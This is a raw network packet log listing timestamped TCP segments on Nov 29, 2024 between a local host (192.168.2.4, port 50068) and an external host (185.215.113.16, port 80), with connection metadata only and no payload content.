Nov 29, 2024 20:07:32.482383966 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.482388020 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.483465910 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.483584881 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.484700918 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.484814882 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.484852076 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.485908031 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.486033916 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.486331940 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.487152100 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.487217903 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.488277912 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.488454103 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.488492012 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.489521980 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.489628077 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.490329981 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.490683079 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.490839958 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.491904020 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.492017984 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.492057085 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.493096113 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.493182898 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.494332075 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.494354010 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.494492054 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.495578051 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.495707989 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.495755911 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.496728897 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.496831894 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.498018980 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.498053074 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.498078108 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.499185085 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.499221087 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.499262094 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.500413895 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.500444889 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.500478029 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.501597881 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.501710892 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.502326012 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.502787113 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.502929926 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.504034042 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.504105091 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.504136086 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.505217075 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.510335922 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.643229961 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.643404961 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.643518925 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.643775940 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.643884897 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.643898010 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.644288063 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.644982100 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.645049095 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.645061016 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.645159006 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.646173000 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.646294117 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.646397114 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.647378922 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.647484064 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.647516012 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.647623062 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.648578882 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.648672104 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.648701906 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.648880959 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.649825096 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.649951935 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.650326967 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.651005983 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.651128054 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.652216911 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.652335882 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.652365923 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.652659893 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.653428078 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.653583050 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.653614998 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.654408932 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.654628992 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.654701948 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.654730082 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.655842066 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.655941963 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.656003952 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.656182051 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.657040119 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.657135010 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.657145977 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.657284975 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.658262968 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.658322096 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.658365011 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.658775091 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.659462929 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.659573078 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.659581900 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.659914970 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.660660982 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.660782099 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.660809994 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.661010027 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.661860943 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.661969900 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.661974907 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.662039042 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.663079023 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.663302898 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.663322926 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.663570881 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.664278030 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.664377928 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.664397955 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.665498018 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.665646076 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.665674925 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.666699886 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.666728020 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.666862011 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.667882919 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.668023109 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.668051958 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.668272972 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.669085026 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.669153929 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.669178009 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.670274019 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.670382977 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.670408010 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.671503067 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.671663046 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.671689987 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.671847105 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.672667027 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.672765970 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.672796011 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.673876047 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.674000025 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.674032927 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.674400091 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.675106049 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.675189018 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.675220966 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.676275969 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.676373005 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.676393986 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.676482916 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.677509069 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.677627087 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.677800894 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.678689003 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.678777933 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.678841114 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.678982973 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.679915905 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.680013895 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.681152105 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.681180954 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.681303978 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.682298899 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.682410955 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.682440996 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.683499098 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.683685064 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.683713913 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.684067965 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.684712887 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.684833050 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.684859991 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.684921980 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.685910940 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.686048031 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.686414957 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.687114000 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.687223911 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.687454939 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.688323975 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.688424110 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.688616037 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.689502954 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.689614058 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.689691067 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.689691067 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.690737963 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.690841913 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.691917896 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.692018986 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.692043066 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.692213058 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.693114996 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.693233013 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.694447041 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.694469929 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.694474936 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.695626020 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.695741892 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.695768118 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.696082115 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.696743011 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.696860075 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.696885109 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.696969032 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.697971106 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.698076963 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.698127985 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.699157000 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.699273109 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.699297905 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.699822903 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.700356960 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.700458050 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.700530052 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.700530052 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.701613903 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.701690912 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.702410936 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.702765942 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.702835083 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.703974009 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.704123974 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.705190897 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.705219984 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.705293894 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.705630064 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.706336975 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.710381031 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.844511986 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.844752073 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.844938993 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.845073938 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.845129013 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.845155954 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.845345020 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.846312046 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.846419096 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.846446991 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.847481966 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.847632885 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.848666906 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.848696947 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.848764896 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.849868059 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.849978924 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.850009918 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.851099968 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.851128101 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.851213932 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.852327108 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.852485895 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.852514982 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.853486061 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.853614092 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.854326963 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.854708910 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.854840994 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.855876923 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.855993032 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.856023073 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.857095957 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.857234955 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.858314037 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.858329058 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.858429909 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.859553099 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.859711885 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.859741926 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.860738039 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.860754967 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.861917973 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.861944914 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.862070084 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.863135099 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.863162994 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.863224030 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.864346981 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.864450932 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.864476919 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.865549088 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.865653038 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.866327047 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.866755009 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.866856098 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.868040085 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.868107080 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.868133068 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.869277000 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.869431019 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.870332003 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.870374918 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.870568037 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.871666908 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.871778011 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.871803045 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.872960091 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.873199940 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.874039888 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.874070883 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.874233007 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.875322104 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.875349045 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.875385046 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.876481056 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.876611948 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.876642942 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.877707005 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.877980947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.878329039 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.878865957 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.879018068 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.880044937 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.880194902 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.880220890 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.881246090 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.881419897 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.882324934 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.882453918 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.882689953 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.883614063 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.883686066 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.883712053 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.884836912 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.884933949 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.886275053 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.886303902 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.886370897 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.886462927 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.887269020 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.887428999 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.888504982 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.888632059 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.888662100 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.889709949 CET	80	50068	185.215.113.16	192.168.2.4
